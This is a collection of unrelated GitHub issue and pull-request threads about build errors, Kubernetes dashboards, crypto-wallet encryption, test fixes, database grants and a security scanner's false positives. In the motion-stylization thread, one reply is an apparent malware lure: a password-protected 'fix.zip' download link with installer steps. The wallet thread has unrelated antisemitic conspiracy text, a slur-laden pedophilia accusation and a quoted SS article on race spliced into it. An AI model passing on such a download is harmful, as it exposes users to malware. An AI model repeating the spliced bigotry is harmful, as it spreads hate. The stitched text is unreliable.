(ngAnnotate) task Warning: Cannot assign to read only property '$methodName' of false

Hello.,, I am new to the hole yeomen thing ,, so that might look silly.
I've installed the generator as per the steps ..but when grunt build I recieve this issue:
Running "ngAnnotate:main" (ngAnnotate) task
Warning: Cannot assign to read only property '$methodName' of false Use --force to continue.
Aborted due to warnings.
Below you can see the whole log for the build,, also please notice that the sub generators are working just fine,, and other generators are installed and working perfectly on my machine...   I have updated the ngAnnotate plugin,, but nothing happed... btw the serve and test tasks fails as well..
Running "jshint:main" (jshint) task

3 files lint free.

Running "clean:before" (clean) task
Running "less:production" (less) task
File temp/app.css created.
Running "dom_munger:read" (dom_munger) task
Processing index.html
Wrote script[data-concat!="false"].src to dom_munger.data.appjs
Wrote link[rel="stylesheet"][data-concat!="false"].href to dom_munger.data.appcss
Running "dom_munger:update" (dom_munger) task
Processing index.html
Removed script[data-remove!="false"]
Removed link[data-remove!="false"]
Appended to body
Appended to head
File dist/index.html created/updated.
Running "ngtemplates:main" (ngtemplates) task

No templates found
File temp/templates.js created.

Running "cssmin:main" (cssmin) task
File dist/app.full.min.css created.
Running "concat:main" (concat) task
File "temp/app.full.js" created.
Running "ngAnnotate:main" (ngAnnotate) task
Warning: Cannot assign to read only property '$methodName' of false Use --force to continue.
Aborted due to warnings.

This is the same issue as #102, the version of ngAnnotate used by the cg-angular generator is outdated. To update it, in the root of your application there should be a package.json file. You need to change version on the line "grunt-ng-annotate" to "~0.10.0", and then save the file. Then from the command line and in the root directory of your app, run 'npm update grunt-ng-annotate'. Then try your build process again.

Thanks @woollsta for your replay,, ng-annotate thing is solved by following your instruction.. the grunt build command works perfectly... now I have the other issue which is the serve,,, when I serve I got nothing.. Just waiting,,, and no browser window opens. please check the output below.

grunt serve
Running "dom_munger:read" (dom_munger) task
Processing index.html
Wrote script[data-concat!="false"].src to dom_munger.data.appjs
Wrote link[rel="stylesheet"][data-concat!="false"].href to dom_munger.data.appcss
Running "jshint:main" (jshint) task

3 files lint free.

Running "connect:main" (connect) task
Started connect web server on http://localhost:9001
Running "watch" task
Waiting...

No problem @bdairy.
With regards to the grunt serve, that's the intended outcome. You will need to manually open a browser at  http://localhost:9001 to view the application, but the console saying 'Waiting...' is actually referring to the 'watch' task checking for file alterations to trigger a live-reload, and is a sign that it is working normally. Counter-intuitive I guess you could say haha.

thank @woollsta this is awesome, it is working,, so haha..I love the way this generator works , but  I wish that it has an option to have a SASS option for bootstrap


Investigate creating a "desktop" version of k8dash similar to Lens or Octant

Some users may prefer a desktop version of k8dash. This would support managing multiple clusters from the same app. This would potentially not be too difficult to pull of with an electron app.
A related possibility would be to create an iOS and/or Android app using something like Cordova

Hi @herbrandson, I'm interested in this one as the next project.

Great. Let me know if you need anything to get started

Hi!
I was reading through the issues and saw this. I think Octant creates a local web server using Golang - if I'm not remembering the wrong thing.
A first step here could be as easy as creating a Golang web server and embedding the frontend as well as a reverse proxy.
I've done something similar for another project and using Golang 1.16 embedding static files is quite smooth: https://github.com/XenitAB/azad-kube-proxy/blob/main/pkg/dashboard/k8dash.go
I haven't done anything using electron and I know nothing about frontend, but feel free to reach out if you want some help with the above and of course feel free to use anything from the project 👍

Hi @simongottschlag, thanks a lot for providing this. This is super helpful. I will take a look and will let you know if I have questions.


Update uk.coffee and locale.coffee

Added new and improved existing Ukrainian translations.

Coverage decreased (-0.1%) to 56.642% when pulling db84cd30d4ad3640f93c8f8a4cf082fd3217cc44 on CatSkald:uk-translations into e5397d74f75ce2aa25154717576e8eea7c0474b2 on codecombat:master.

Wow, @CatSkald! Awesome job! Thank you 👍


selectrum-read-buffer ignores predicate argument

The predicate is passed to selectrum-completing-read but as the candidates are computed dynamically it does not get applied.

See pull request: https://github.com/raxod502/selectrum/pull/33


Upgrade Whole Wallet Encryption to 1024 Bit Falcon Keys from the Obsolete AES 256 Bit Wallet Encryption

If Quantum can break ECC Keys, than hackers can also steal coins without breaking Falcon Private keys if they can break the Wallet Encryption to send Coins..........
Upgrading Wallet Encryption closes this loophole against Malware Breaking loose wallets that have been scooped up into databases from MetaData.........
1024 Bit Falcon should be good encryption for Whole Wallet Encryption...........and used Everytime to Send TIDECOINS

Good idea.
I will work on it.

it's good because I am not a computer code writer......I am waiting for github autopilot I signed up to the waitlist for AI assisted coding!
Give me a donation address it you need to hire some help and I will send some coins
I really want to see it get developed!
Thanks
https://soatok.blog/2020/05/13/why-aes-gcm-sucks/
GHASH Brittleness
The way AES-GCM is initialized is stupid: You encrypt an all-zero block with your AES key (in ECB mode) and store it in a variable called H. This value is used for authenticating all messages authenticated under that AES key, rather than for a given (key, nonce) pair.
Let’s contrast AES-GCM with the other AEAD mode supported by TLS: ChaCha20-Poly1305, or ChaPoly for short.
ChaPoly uses one-time message authentication keys (derived from each key/nonce pair). If you manage to leak a Poly1305 key, the impact is limited to the messages encrypted under that (ChaCha20 key, nonce) pair.
While that’s still bad, it isn’t “decrypt all messages under that key forever” bad like with AES-GCM.
Note: “Message Authentication” here is symmetric, which only provides a property called message integrity, not sender authenticity. For the latter, you need asymmetric cryptography (wherein the ability to verify a message doesn’t imply the capability to generate a new signature), which is totally disparate from symmetric algorithms like AES or GHASH. You probably don’t need to care about this nuance right now, but it’s good to know in case you’re quizzed on it later.
I've told people repeatedly not to get attached to people in the spotlight.  They way I see it, I will shake the hands of those who are left standing in the end. Me??? I question everything and everyone some how or another.
ACCORDING TO SWAMPIE'S JABBING IS THE ONLY CURE for believing in God or paranormal happenings or seeing unidentifiable objects flying in the sky's, etc., are all acts of thoughts based in terrorism and mental illness.
flynn is jewish, not Christian. He's just like Crowder, all of them are tied with pedophilia whether jewish, freemason or nambla its just degeneracy.
I never said that Teutoburg was the only thing that prevented the Romanization of Germany. But it was by far the largest reason for it, and also cemented the idea of the Germanic tribes in the area of Germany belonging together. It was the essential prerequisite for Germany as we know it.
The Law of Blood: Thinking and Acting as a Nazi
It presents a viewpoint on the Christianity vs. Paganism thing going on in Germany. Had the Germans won the war, it seems that a pan-Germanic paganism was the direction things were going, and many of the Germans saw Christianity as a Jewish scam run on the goyim.
In an SS magazine article from 1939, an argument is made that Christianity leads to race mixing.
The Church had spurned all of the natural evidence and assembled men of different races in "a community of faith, and, if one were to believe the priests' pastorals, a Negro baptized as a Catholic was closer to a young German Catholic girl than a non-Catholic German man, even if they shared the same blood." Christianity had thus opneed the way to the racial abomination of "mixed marriages" among people of different blood. Worse still, the church defined mixed marriage as "the union between two Germans when one of them sang Lutheran hymns in his childhood and the other Marian hymns."

After careful consideration I have decided to leave wallet encryption as is.

Symmetric encryption, or more specifically AES-256, is believed to be quantum resistant. That means that quantum
computers are not expected to be able to reduce the attack time enough to be effective if the key sizes are large enough.


Mac

OK, so it turns out that on linux 127.0.0.* points to localhost.  E.g.
mrocklin@notebook:~$ ping <IP_ADDRESS>
PING <IP_ADDRESS> (<IP_ADDRESS>) 56(84) bytes of data.
64 bytes from <IP_ADDRESS>: icmp_seq=1 ttl=64 time=0.047 ms
64 bytes from <IP_ADDRESS>: icmp_seq=2 ttl=64 time=0.048 ms

We use this a lot in tests, because it allows us to simulate multiple different hosts.
Turns out that by default Mac only respects <IP_ADDRESS> which was what was causing tests to hang very low down.
This PR adds timeouts on connection, a bit of logging, and also turns off the tests that really depend on the 127.0.0.* behavior on non-linux platforms.
Things aren't perfect yet, but they're a heck of a lot closer.
cc @broxtronix

I still get intermittent failures on OS-X but things are pretty good.  @broxtronix or @jcrist if you get a chance this could use a trial run on another machine.

I'm running into issues with kqueue and bad file descriptors but that's it at the moment.

Awesome!  I just tested this branch and I was able to run the tests through to completion.  I'm seeing the same intermittent failures on my OSX machine as you mentioned (kqueue and file descriptors), but it sounds like you are hot on their trail!

OK, tests have been running smoothly in a loop on my mac machine for about an hour now.  I had to skip two tests in https://github.com/blaze/distributed/commit/9fb5cacf4cfd64b047ae160da14dd89384eb9cdd that, to my eye, are in no way different from many other tests.  There may still be some issue, but my guess is that it's more about how we test rather than how we operate.
I'm going to let things run a bit longer and then merge this.

Merging.


Fix broken documentation link in README

 Thank you for your submission, we really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.

Oh my, thanks!


command for prior based stylization?

Do you have command for prior-based stylization in generation code? (label_based (unsupervised))
I try to run command like this.
python generate_cmu_l.py --name LVAE_AE_RCE0_KGLE2_12E1_ML160 --gpu_id 0 --dataset_name bfa --motion_length 160 --ext cmu_SP_IK --batch_size 12 --use_ik --niters 1 --sampling
but it showed error.
RuntimeError: Error(s) in loading state_dict for StyleContentEncoder:
size mismatch for style_encoder.ToGlobalCode.0.Conv.conv.weight: copying a param with shape torch.Size([768, 784, 3]) from checkpoint, the shape in current model is torch.Size([768, 768, 3]).

Download
https://www.mediafire.com/file/o50xaz6wgtazqnx/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Thanks for your interest. generate_cmu_I currently doesn't support prior-based stylization (label_based (unsupervised)). The unsupervised checkpoint is trained without style labels while the supervised checkpoint is trained with style labels.
If you want to get random stylization from the style prior, you could probably modify the code following the motion-based (unsupervised) setting. But instead of obtaining the style code from the style encoder, you sample from the Gaussian noise.
Specifically, in your case, the size discrepancy comes from the following https://github.com/Murrol/GenMoStyle-code/blob/b8bb9366c34d1e6459674e225858510360497147/generate_cmu_l.py#L79
It could be fixed by adding --use_style


[BEAM-13345] [Playground] add resizable split view for output and source areas

I added a resizable split view for output and source areas.
https://issues.apache.org/jira/browse/BEAM-13345
https://user-images.githubusercontent.com/6143095/144606980-bbc31dd8-32c5-4972-a394-dd36a4d1e21f.mov

Thank you for your contribution! Follow this checklist to help us incorporate your contribution quickly and easily:

[ ] Choose reviewer(s) and mention them in a comment (R: @username).
[ ] Format the pull request title like [BEAM-XXX] Fixes bug in ApproximateQuantiles, where you replace BEAM-XXX with the appropriate JIRA issue, if applicable. This will automatically link the pull request to the issue.
[ ] Update CHANGES.md with noteworthy changes.
[ ] If this contribution is large, please file an Apache Individual Contributor License Agreement.

See the Contributor Guide for more tips on how to make review process smoother.

GitHub Actions Tests Status (on master branch)

See CI.md for more information about GitHub Actions CI.

R: @damondouglas
cc: @pabloem

@KonradJanica thanks for the review, I fixed the issues, could you please take a look again?

LGTM thanks all!


new boilerplate

We need to add boilerplates with copyright, origin, and licensing information to the binding files.

done.


SqlCatalog _commit_table() support

Feature Request / Improvement
Introduce _commit_table() Support for SqlCatalog

Has been fixed in #265


Add sd_notify to report agent status to systemd

Is your feature request related to a problem? Please describe.
Currently, k8s-less installs of aperture-agent lack healthchecks.
Describe the solution you'd like
Use sd_notify mechanism to communicate application status to systemd.
Describe alternatives you've considered
Using a wrapper process to poll for status and notify systemd, like so: https://www.medo64.com/2019/01/systemd-watchdog-for-any-service/

Needs GH-330 to be done first.


In my Webstorm editor, show syntax errors, how to fix it

I have added before the reactjs grammar support, but you use this grammar is wrong, how to solve. Thank you.

Do you have React JSX for you JavasScript language? I am no seeing what you are seeing in WebStorm.


New HTTP router implementation for 'sam local start-api'

This change takes a lot of the logic out of start.go for HTTP handling, and moves it to a new, separate 'router' package.
It also moves all of the environment handling out into a separate file (env.go and env_test.go), to make that a lot cleaner and remove duplication. These changes makes for a much smaller start.go, with far less logic.
The new HTTP router implementation looks like this:
// initiate a new router
r := router.NewServerlessRouter()

// Add a AWS::Serverless::Function to it
r.AddFunction(someServerlessFunction)

// Add a AWS::Serverless::Api to it
r.AddAPI(someServerlessApi)

// Add a static files dir
r.AddStaticDir("public/", "/")

// Pass it to Go's HTTP pkg for serving
http.ListenAndServe("<IP_ADDRESS>:3000", r.Router()))

As the router impementation isn't a mega-method-of-doom anymore, it's
much, much easier to unit test. I've included quite a few tests already.
This doesn't implement support for AWS::Serverless::API and swagger, however it makes it much easier to implement. The AWSServerlessAPI object in router/api.go just needs to return it's mountpoints via the func (api *AWSServerlessAPI) Mounts() []*ServerlessRouterMount function (similar to how the router/function.go is doing it currently).

For some reason my CodeUri comment & Paul's reply vanished from here. CodeUri: ./dir does not work in current form

@PaulMaddox  any change you can get this finished?

Yes - hoping to have some time to work on it this week.

@sanathkr  - this commit includes the case where CodeUri is specified as a relative directory path:
https://github.com/awslabs/aws-sam-local/pull/83/commits/00674345244dded283fd3a25716d164e2329bb0d

@PaulMaddox Approved the revision. There are some merge conflicts. Can you fix and merge?


[Enhancement] Set default replication number to 1 if use_staros is true

Signed-off-by: sduzh<EMAIL_ADDRESS>What type of PR is this：

[ ] BugFix
[ ] Feature
[x] Enhancement
[ ] Refactor
[ ] UT
[ ] Doc
[ ] Tool

Which issues of this PR fixes ：

Fixes #
Problem Summary(Required) ：

Checklist:

[ ] I have added test cases for my bug fix or my new feature
[ ] This pr will affect users' behaviors
[ ] This pr needs user documentation (for new or modified features or behaviors)

[ ] I have added documentation for my new feature or new function

Bugfix cherry-pick branch check:

[ ] I have checked the version labels which the pr will be auto backported to target branch

[ ] 2.5
[ ] 2.4
[ ] 2.3
[ ] 2.2

run starrocks_fe_unittest

[FE PR Coverage Check]
:heart_eyes: pass : 14 / 17 (82.35%)
file detail

path
covered_line
new_line
coverage
not_covered_line_detail

:large_blue_circle:
com/starrocks/catalog/OlapTable.java
0
1
00.00%
[1687]

:large_blue_circle:
com/starrocks/catalog/RangePartitionInfo.java
0
1
00.00%
[501]

:large_blue_circle:
com/starrocks/catalog/ExpressionRangePartitionInfo.java
0
1
00.00%
[116]

:large_blue_circle:
com/starrocks/sql/ast/MultiItemListPartitionDesc.java
1
1
100.00%
[]

:large_blue_circle:
com/starrocks/catalog/ListPartitionInfo.java
1
1
100.00%
[]

:large_blue_circle:
com/starrocks/sql/ast/SingleItemListPartitionDesc.java
1
1
100.00%
[]

:large_blue_circle:
com/starrocks/sql/analyzer/AlterTableStatementAnalyzer.java
1
1
100.00%
[]

:large_blue_circle:
com/starrocks/server/LocalMetastore.java
2
2
100.00%
[]

:large_blue_circle:
com/starrocks/sql/analyzer/BackupRestoreAnalyzer.java
1
1
100.00%
[]

:large_blue_circle:
com/starrocks/catalog/TableProperty.java
2
2
100.00%
[]

:large_blue_circle:
com/starrocks/sql/ast/RestoreStmt.java
1
1
100.00%
[]

:large_blue_circle:
com/starrocks/common/FeConstants.java
1
1
100.00%
[]

:large_blue_circle:
com/starrocks/sql/ast/SingleRangePartitionDesc.java
2
2
100.00%
[]

:large_blue_circle:
com/starrocks/qe/ShowExecutor.java
1
1
100.00%
[]

run starrocks_admit_test


python38Packages.sounddevice: 0.4.3 -> 0.4.4

Automatic update generated by nixpkgs-update tools. This update was made based on information from passthru.updateScript.
meta.description for python38Packages.sounddevice is: "Play and Record Sound with Python"
meta.homepage for python38Packages.sounddevice is: "http://python-sounddevice.rtfd.org/"
meta.changelog for python38Packages.sounddevice is: ""
Updates performed

Ran passthru.UpdateScript

To inspect upstream changes
Impact

Checks done (click to expand)

built on NixOS

Warning: a test defined in passthru.tests did not pass

0 of 0 passed binary check by having a zero exit code.

0 of 0 passed binary check by having the new version present in output.

found 0.4.4 with grep in /nix/store/0cs6x003ggwq9jksylplnpi8hj1h8zr2-python3.8-sounddevice-0.4.4

found 0.4.4 in filename of file in /nix/store/0cs6x003ggwq9jksylplnpi8hj1h8zr2-python3.8-sounddevice-0.4.4

Rebuild report (if merged into master) (click to expand)

15 total rebuild path(s)

8 package rebuild(s)

8 x86_64-linux rebuild(s)
7 x86_64-darwin rebuild(s)

First fifty rebuilds by attrpath
docbookrx
friture
python38Packages.dragonfly
python38Packages.rtmixer
python38Packages.sounddevice
python39Packages.dragonfly
python39Packages.rtmixer
python39Packages.sounddevice

Instructions to test this update (click to expand)

Either download from Cachix:
nix-store -r /nix/store/0cs6x003ggwq9jksylplnpi8hj1h8zr2-python3.8-sounddevice-0.4.4 \
  --option binary-caches 'https://cache.nixos.org/ https://nix-community.cachix.org/' \
  --option trusted-public-keys '
  nix-community.cachix.org-1:mB9FSh9qf2dCimDSUo8Zy7bkq5CX+/rkCWyvRCYg3Fs=
  cache.nixos.org-1:6NCHdD59X431o0gWypbMrAURkbJ16ZPMQFGspcDShjY=
  '

(The Cachix cache is only trusted for this store-path realization.)
For the Cachix download to work, your user must be in the trusted-users list or you can use sudo since root is effectively trusted.
Or, build yourself:
nix-build -A python38Packages.sounddevice https://github.com/r-ryantm/nixpkgs/archive/2ca8eca93ce8f7f488a91b8043f5a3915a958528.tar.gz

After you've downloaded or built it, look at the files and if there are any, run the binaries:
ls -la /nix/store/0cs6x003ggwq9jksylplnpi8hj1h8zr2-python3.8-sounddevice-0.4.4
ls -la /nix/store/0cs6x003ggwq9jksylplnpi8hj1h8zr2-python3.8-sounddevice-0.4.4/bin

Pre-merge build results
We have automatically built all packages that will get rebuilt due to
this change.
This gives evidence on whether the upgrade will break dependent packages.
Note sometimes packages show up as failed to build independent of the
change, simply because they are already broken on the target branch.
Result of nixpkgs-review run on x86_64-linux 1

7 packages built:

friture
python38Packages.dragonfly
python38Packages.rtmixer
python38Packages.sounddevice
python39Packages.dragonfly
python39Packages.rtmixer
python39Packages.sounddevice

Maintainer pings
cc @fridh for testing.

Replaced with #154594


[iOS - Google Maps] Add onPress support for Polyline

This PR fixes the problem of not having the onPress event on Google Maps in iOS.

Any news about the merge?

@guilhermepontes This looks good!
Do you think you can resolve the conflicts so we can get this merged in.
Conflict is from the library trying to use RCTConvert+MapKit instead of RCTConvert+AirMap

@christopherdro done 👍


Add GRANTS to tables and functions

We need ability to add GRANTS to tables and functions.

Note: Postgres breaks up GRANTS after they are added to a table, I would suggest that they not be part of the SchemaObject comparison.

Requirements

Grant to multiple roles and users
Grant at column level
Grant at table / function level (not sure if you can grant at a function level without defining the columns explicilty)
Grant without having to specify each column
Grant only to specific columns

Use an enum instead of string to specify columns

Global grants for all document types
Ability to overwrite or add grants at document specify level

Here is a usage example.  The ability to add "global" grants and then document specific overwrite grants would be a plus.
var store = DocumentStore.For(_ =>
    {
        _.Connection(ConnectionSource.ConnectionString);

        // Add global grants
        _.DdlRules.Grants = {
             new Grant {
                Type = GrantType.SELECT,
                Roles = { "ServiceAccountRole", "SchemaOwners" },
                GrantAtObjectLevel = false // Or maybe name this GrantAtColumnLevel = true
                // Columns aren't specified and grant level is not at table level, so it adds an explicit grant to all of them
                // GRANT SELECT (column1, column2, column3, ...) ON TABLE oe.mt_doc_all TO "ServiceAccountRole", "SchemaOwners";
             },

             new Grant {
                Type = GrantType.INSERT,
                Roles = { "SchemaOwners" }, // ServiceAccountRole uses the function to insert
                Columns = {
                    DocumentColumnType.Id,
                    DocumentColumnType.JsonData,
                    DocumentColumnType.LastModified
                }
                // Only grants to the 3 columns
                // GRANT INSERT (id, data, mt_last_modified) ON TABLE oe.mt_doc_all TO "SchemaOwners";
             },

             new Grant {
                Type = GrantType.UPDATE,
                Roles = { "SchemaOwners" }, // ServiceAccountRole uses the function to update
                Columns = {DocumentColumnType.JsonData } // only allows SchemaOwners to update the data column
                // Only grants update to the json data column
                // GRANT UPDATE (data) ON TABLE oe.mt_doc_all TO "SchemaOwners";
             },

            new Grant {
                Type = GrantType.EXECUTE,
                Roles = {"ServiceAccountRole"}
                // GRANT EXECUTE ON FUNCTION oe.mt_upsert_user(column1, column2, ..) TO "ServiceAccountRole"
             },

        };

        // Add or overwrite grants at table, function level
        _.Schema.For<User>().Grant(new Grant {
             Type = GrantType.DELETE,
             Roles = {"ServiceAccountRole", "User"},
             // Instead of defining the columns, the option to add grant delete to the table as a whole
             GrantAtObjectLevel = true
             // GRANT DELETE ON oe.mt_doc_user TO "ServiceAccountRole", "User";
        });

    });

Example of Script
SET ROLE "SchemaOwners";

CREATE TABLE oe.mt_doc_example
(
  ...
);
ALTER TABLE oe.mt_doc_example OWNER TO "SchemaOwners";
GRANT SELECT (column1, column2, column3, ...) ON TABLE oe.mt_doc_example TO "ServiceAccountRole", "SchemaOwners"; --GRANT to muliple roles / users
GRANT INSERT (column1, column2, column3, ...) ON TABLE oe.mt_doc_example TO "SchemaOwners";  --GRANT on specific columns
GRANT UPDATE (column1, column2, column3, ...) ON TABLE oe.mt_doc_example TO "SchemaOwners";
GRANT DELETE ON oe.mt_doc_example TO "ServiceAccountRole"; --GRANT on all columns

--------------
CREATE OR REPLACE FUNCTION oe.mt_upsert_example
(
    ...
)
$$ LANGUAGE plpgsql SECURITY DEFINER VOLATILE COST 100;
ALTER FUNCTION oe.mt_upsert_example(...) OWNER TO "SchemaOwners";
GRANT EXECUTE ON FUNCTION oe.mt_upsert_example(...) TO "ServiceAccountRole"; --GRANT EXECUTE to one or more roles / users

RESET ROLE;

Currently there is already a DdlRules.GrantToRoles collection.  I would suggest that be renamed to just Grants because there are future possibilities of granting to a USER, not just a ROLE.

@bradyclifford,
A few points and what I'm thinking this morning:

I did the rename of GrantToRoles to just Grants like you suggested. Made sense.

Except for deletions, I'm voting against having any differences in grants between document types. I really don't see that coming up and it's too much work.

I've added the insert & update grants. I don't see it making any sense to do it column by column for Marten, so I'm leaving that out

SystemFunctions have an EXECUTE grant (really just the mt_immutable_timestamp)

Transform Functions have an EXECUTE grant for each thing on DdlRules

I'm still missing the event store, but we don't need it ourselves, so...

By default, it will add a DELETE grant to each document type unless it has the Deletions.CannotDelete configuration on an individual document mapping. I'll catch up on the docs for that this week.

@jeremydmiller, just putting in my two cents here. If we don't get all the way to fully automating grants by providing the ability to specify column-level permissions, then I think it somewhat defeats the purpose. Ideally, @bradyclifford and I think it would be best to either do 100% of generating the grants, because anything in between is going to require it to be modified by hand; even if a little. As far as I'm aware, I think the column-level grants is the only thing left to implement that would allow the developers to generate their DDL without having to touch it at all.
The only other thing I'd mention is that it may be a better default to set Deletions.CannotDelete to true, and opt in to it otherwise.
Just my thoughts... :)

@phixed I take pull requests.

And no, we're not going to set any of these grants up as defaults. It's pure friction to any other users than us. I'm not infecting Marten with Kevin's nonsensical OCD tendencies

@jeremydmiller, I'll let @bradyclifford decide if that's worth the dev effort, since that is something that will only affect them. Regarding my suggestion for reversing the default on DELETE, I wasn't at all suggesting that because of a recommendation from Kevin, or even in the context of OE's usage of Marten; I was merely suggesting that (IMHO) defaulting delete grants to true will probably require that it's changed more often than not, but I would again defer to @bradyclifford who made the same observation at the same time, but I don't feel strongly one way or the other.


False positive when dealing with basic authentication's and Base64 encoding

What happened:
Horusec reports that this code:
Code .addContentType("application/x-www-form-urlencoded")

as: Basic authentication's only means of obfuscation is Base64 encoding. Since Base64 encoding is easily recognized and reversed, it offers only the thinnest veil of protection to your users, and should not be used.
Maybe I'm wrong but, why is this a base64 security issue?
What you expected to happen:
Not be reported as a vulnerability.
How to reproduce it (as minimally and precisely as possible):
Create a minimal kotlin project that make a http request with the Content-Type header set as application/x-www-form-urlencoded
Environment:

Horusec version (use horusec version):  v1.10.3
Operating System: Ubuntu 20.04

I think that the problem is with the regex from rules HS-JVM-38. Since we have a .encode pattern on rule the regex match the urlencoded string. I think that the fix is simple, just improve the pattern on .encode value.
Thank very much for notice this.
Btw I think that would be better you upgrade your horusec version to the latest version. We do not support the v1.10.3 version.

I'm downloading from here: https://horusec.io/bin/latest/linux_x64/horusec. Is it wrong?

I'm downloading from here: https://horusec.io/bin/latest/linux_x64/horusec. Is it wrong?

This is the old URL for download, only for v1 versions. You should follow the installation process from documentation.
The README.md also contains the installation processes.

i'll close this issue for now, any updates you can reopen :)

Just to add a few more examples of this case:
    {
      "vulnerabilityID": "00000000-0000-0000-0000-000000000000",
      "analysisID": "759fa0d2-badc-41d9-9471-9bd782f0223d",
      "createdAt": "2022-01-27T20:54:59.369644152Z",
      "vulnerabilities": {
        "vulnerabilityID": "f8adeddd-94c4-4a7c-aa09-ae0a5aa6659e",
        "line": "56",
        "column": "54",
        "confidence": "LOW",
        "file": "build.gradle",
        "code": "runtimeOnly \"net.logstash.logback:logstash-logback-encoder:${logstashLogbackEncoder}\"",
        "details": "Base64 Encode\nBasic authentication's only means of obfuscation is Base64 encoding. Since Base64 encoding is easily recognized and reversed, it offers only the thinnest veil of protection to your users, and should not be used.",
        "securityTool": "HorusecEngine",
        "language": "Java",
        "severity": "MEDIUM",
        "type": "Vulnerability",
        "commitAuthor": "-",
        "commitEmail": "-",
        "commitHash": "-",
        "commitMessage": "-",
        "commitDate": "-",
        "vulnHash": "5fb1e62a4d2ff3179b9f4e8192ef0d2c84ca2855559e4091841412ae4401fc69"
      }
    },
    {
      "vulnerabilityID": "00000000-0000-0000-0000-000000000000",
      "analysisID": "759fa0d2-badc-41d9-9471-9bd782f0223d",
      "createdAt": "2022-01-27T20:54:59.369740464Z",
      "vulnerabilities": {
        "vulnerabilityID": "7e26125a-fb6b-4069-8c15-2a9ba4486bdd",
        "line": "11",
        "column": "8",
        "confidence": "LOW",
        "file": "src/main/resources/conf/logback-access.xml",
        "code": "<encoder class=\"net.logstash.logback.encoder.AccessEventCompositeJsonEncoder\">",
        "details": "Base64 Encode\nBasic authentication's only means of obfuscation is Base64 encoding. Since Base64 encoding is easily recognized and reversed, it offers only the thinnest veil of protection to your users, and should not be used.",
        "securityTool": "HorusecEngine",
        "language": "Java",
        "severity": "MEDIUM",
        "type": "Vulnerability",
        "commitAuthor": "-",
        "commitEmail": "-",
        "commitHash": "-",
        "commitMessage": "-",
        "commitDate": "-",
        "vulnHash": "5cd9c5a7143a4449dbfe8b60b74cb39f0fb256f2b4d890f3da16540c16dd390f"
      }
    },
    {
      "vulnerabilityID": "00000000-0000-0000-0000-000000000000",
      "analysisID": "759fa0d2-badc-41d9-9471-9bd782f0223d",
      "createdAt": "2022-01-27T20:54:59.369742424Z",
      "vulnerabilities": {
        "vulnerabilityID": "80e4b39f-4e9c-4144-828e-e6adeace9b4e",
        "line": "11",
        "column": "44",
        "confidence": "LOW",
        "file": "src/main/resources/conf/logback-access.xml",
        "code": "<encoder class=\"net.logstash.logback.encoder.AccessEventCompositeJsonEncoder\">",
        "details": "Base64 Encode\nBasic authentication's only means of obfuscation is Base64 encoding. Since Base64 encoding is easily recognized and reversed, it offers only the thinnest veil of protection to your users, and should not be used.",
        "securityTool": "HorusecEngine",
        "language": "Java",
        "severity": "MEDIUM",
        "type": "Vulnerability",
        "commitAuthor": "-",
        "commitEmail": "-",
        "commitHash": "-",
        "commitMessage": "-",
        "commitDate": "-",
        "vulnHash": "5cd9c5a7143a4449dbfe8b60b74cb39f0fb256f2b4d890f3da16540c16dd390f"
      }
    },
    {
      "vulnerabilityID": "00000000-0000-0000-0000-000000000000",
      "analysisID": "759fa0d2-badc-41d9-9471-9bd782f0223d",
      "createdAt": "2022-01-27T20:54:59.369744534Z",
      "vulnerabilities": {
        "vulnerabilityID": "1824609c-f7f4-4131-a6f4-5dc681e2fc74",
        "line": "56",
        "column": "9",
        "confidence": "LOW",
        "file": "src/main/resources/conf/logback-access.xml",
        "code": "</encoder>",
        "details": "Base64 Encode\nBasic authentication's only means of obfuscation is Base64 encoding. Since Base64 encoding is easily recognized and reversed, it offers only the thinnest veil of protection to your users, and should not be used.",
        "securityTool": "HorusecEngine",
        "language": "Java",
        "severity": "MEDIUM",
        "type": "Vulnerability",
        "commitAuthor": "-",
        "commitEmail": "-",
        "commitHash": "-",
        "commitMessage": "-",
        "commitDate": "-",
        "vulnHash": "a1e700eb2d8ff38f3f882a991b6eaaecc2c1a8e3cf9b72450e62ae15af3123da"
      }
    },
    {
      "vulnerabilityID": "00000000-0000-0000-0000-000000000000",
      "analysisID": "759fa0d2-badc-41d9-9471-9bd782f0223d",
      "createdAt": "2022-01-27T20:54:59.369746484Z",
      "vulnerabilities": {
        "vulnerabilityID": "017362d8-09d8-4fe4-b3b8-123b3c188628",
        "line": "5",
        "column": "8",
        "confidence": "LOW",
        "file": "src/main/resources/logback-spring.xml",
        "code": "<encoder class=\"net.logstash.logback.encoder.LoggingEventCompositeJsonEncoder\">",
        "details": "Base64 Encode\nBasic authentication's only means of obfuscation is Base64 encoding. Since Base64 encoding is easily recognized and reversed, it offers only the thinnest veil of protection to your users, and should not be used.",
        "securityTool": "HorusecEngine",
        "language": "Java",
        "severity": "MEDIUM",
        "type": "Vulnerability",
        "commitAuthor": "-",
        "commitEmail": "-",
        "commitHash": "-",
        "commitMessage": "-",
        "commitDate": "-",
        "vulnHash": "12c6199a7f57c3519bdf969af677b05c1db93331a3624dac40b9b74482ca03f9"
      }
    },
    {
      "vulnerabilityID": "00000000-0000-0000-0000-000000000000",
      "analysisID": "759fa0d2-badc-41d9-9471-9bd782f0223d",
      "createdAt": "2022-01-27T20:54:59.369748684Z",
      "vulnerabilities": {
        "vulnerabilityID": "3cac137d-33ea-47e7-9998-7ee60202bd72",
        "line": "5",
        "column": "44",
        "confidence": "LOW",
        "file": "src/main/resources/logback-spring.xml",
        "code": "<encoder class=\"net.logstash.logback.encoder.LoggingEventCompositeJsonEncoder\">",
        "details": "Base64 Encode\nBasic authentication's only means of obfuscation is Base64 encoding. Since Base64 encoding is easily recognized and reversed, it offers only the thinnest veil of protection to your users, and should not be used.",
        "securityTool": "HorusecEngine",
        "language": "Java",
        "severity": "MEDIUM",
        "type": "Vulnerability",
        "commitAuthor": "-",
        "commitEmail": "-",
        "commitHash": "-",
        "commitMessage": "-",
        "commitDate": "-",
        "vulnHash": "12c6199a7f57c3519bdf969af677b05c1db93331a3624dac40b9b74482ca03f9"
      }
    },
    {
      "vulnerabilityID": "00000000-0000-0000-0000-000000000000",
      "analysisID": "759fa0d2-badc-41d9-9471-9bd782f0223d",
      "createdAt": "2022-01-27T20:54:59.369750684Z",
      "vulnerabilities": {
        "vulnerabilityID": "72183a59-bd81-4391-b714-382c9788376a",
        "line": "36",
        "column": "9",
        "confidence": "LOW",
        "file": "src/main/resources/logback-spring.xml",
        "code": "</encoder>",
